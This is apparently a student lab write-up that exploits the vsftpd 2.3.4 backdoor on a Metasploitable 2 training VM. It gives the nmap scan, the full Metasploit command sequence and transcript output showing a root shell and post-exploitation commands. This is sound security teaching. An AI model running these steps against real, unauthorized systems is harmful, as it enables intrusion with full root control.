

## Experiment 3: Exploiting a Known Vulnerability

### Scenario:

Your scan found a critical vulnerability on a target server (e.g., Metasploitable 2's vsftpd backdoor). The organization wants proof-of-concept exploitation to understand the potential

damage if a malicious actor leverages this flaw.

### Tasks:

- Use the Metasploit Framework to exploit the known vulnerability and obtain a shell.
- Verify the level of access gained and the data potentially exposed.

### Deliverable:

A screenshot and log of a successful exploit session, and notes on potential impact.

.....

## INTRODUCTION TO METASPLOIT FRAMEWORK

Metasploit Framework is a powerful and widely used penetration testing tool that helps ethical hackers and security professionals identify, validate, and exploit vulnerabilities in systems. It provides a user-friendly interface to simulate real-world cyberattacks in a controlled environment, making it ideal for learning and demonstration purposes. With a vast library of exploits, payloads, and auxiliary modules, Metasploit allows users to automate attacks, gain remote access, and test system defenses effectively. It is especially popular for demonstrating proof-of-concept exploits, such as attacking vulnerable machines like Metasploitable 2.

### Brief Background on the vsftpd 2.3.4 Backdoor Vulnerability

The vsftpd 2.3.4 version contains a backdoor that allows unauthorized remote access to the system. The backdoor is triggered when an attacker connects to the FTP service on port 21 with a specific string in their username. This vulnerability is well-known and was exploited widely after it was discovered.

### Step 1: Scan the Target (Metasploitable 2) with Nmap

#### Command:

```
nmap -sV <metasploitable_IP>
```

## Explanation:

- Use the -sV flag to detect service versions. Look for vsftpd 2.3.4 on port 21 (FTP), which is known to be vulnerable.

## Output:

```
(kali@kali)-[~]
$ nmap -sV 192.168.140.12
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 11:17 EDT
Nmap scan report for 192.168.140.12
Host is up (0.0022s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet   Linux telnetd
25/tcp    open  smtp     Postfix smtpd
53/tcp    open  domain   ISC BIND 9.4.2
80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind  2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec     netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi  GNU Classpath grmiregistry
1524/tcp  open  bindshell Metasploitable root shell
2049/tcp  open  nfs      2-4 (RPC #100003)
2121/tcp  open  ftp      ProFTPD 1.3.1
3306/tcp  open  mysql    MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc      VNC (protocol 3.3)
6000/tcp  open  X11      (access denied)
6667/tcp  open  irc      UnrealIRCd
8009/tcp  open  ajp13    Apache Jserv (Protocol v1.3)
8180/tcp  open  http     Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:C8:28:ED (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
```

## Step 2: Start Metasploit Framework

### Command:

```
msfconsole
```

### Explanation:

- Launch Metasploit to begin exploiting the detected vulnerability.

## Step 3: Search for the Vulnerability Module

### Command:

```
search vsftpd 2.3.4
```

**Explanation:**

- Identify the correct exploit module. Look for exploit/unix/ftp/vsftpd\_234\_backdoor.

**Step 4: Use the Exploit Module****Command:**

use 0

or

use exploit/unix/ftp/vsftpd\_234\_backdoor

**Explanation:**

- This command tells Metasploit to use the exploit module designed specifically for the vsftpd 2.3.4 backdoor vulnerability. The module will prepare for the attack.

**Step 5: Set the Target IP Address****Command:**

set RHOSTS <metasploitable\_IP>

**Explanation:**

- This command specifies the target system's IP address where the vulnerability exists, so Metasploit knows where to send the exploit.

**Step 6: Launch the Exploit****Command:**

exploit

**Expected Result:**

- If successful, you will get a shell access (command shell session opened).

## Step 7: Verify the Access Level

### Commands:

whoami

uname -a

id

ls

### Explanation:

- Check what level of access you have gained (e.g., user, root) and explore what data is exposed.

### Output:

```
(kali㉿kali)-[~]
└─$ msfconsole -q
msf6 > search vsftpd 2.3.4

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  --                                     -
0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies    Proxies           no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
  cs/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.140.12
RHOSTS => 192.168.140.12
```

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST             no         The local client address
  CPORT      CPORT             no         The local client port
  Proxies    Proxies           no         A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS            yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
cs/using-metasploit.html
  RPORT      RPORT             yes        The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.140.12:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.140.12:21 - USER: 331 Please specify the password.
[*] 192.168.140.12:21 - Backdoor service has been spawned, handling ...
[*] 192.168.140.12:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.3.15:36207 → 192.168.140.12:6200) at 2025-05-06 12:06:00 -0400

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz

```

## Conclusion:

In this experiment, we successfully exploited the vsftpd 2.3.4 backdoor vulnerability using Metasploit Framework and gained unauthorized shell access to the Metasploitable 2 machine. This demonstrates how dangerous known vulnerabilities can be if left unpatched, as they allow attackers to gain direct control over a system. Through this exercise, we learned the importance of vulnerability scanning, version detection, and proof-of-concept exploitation in real-world ethical hacking scenarios.

\*\*\*\*\*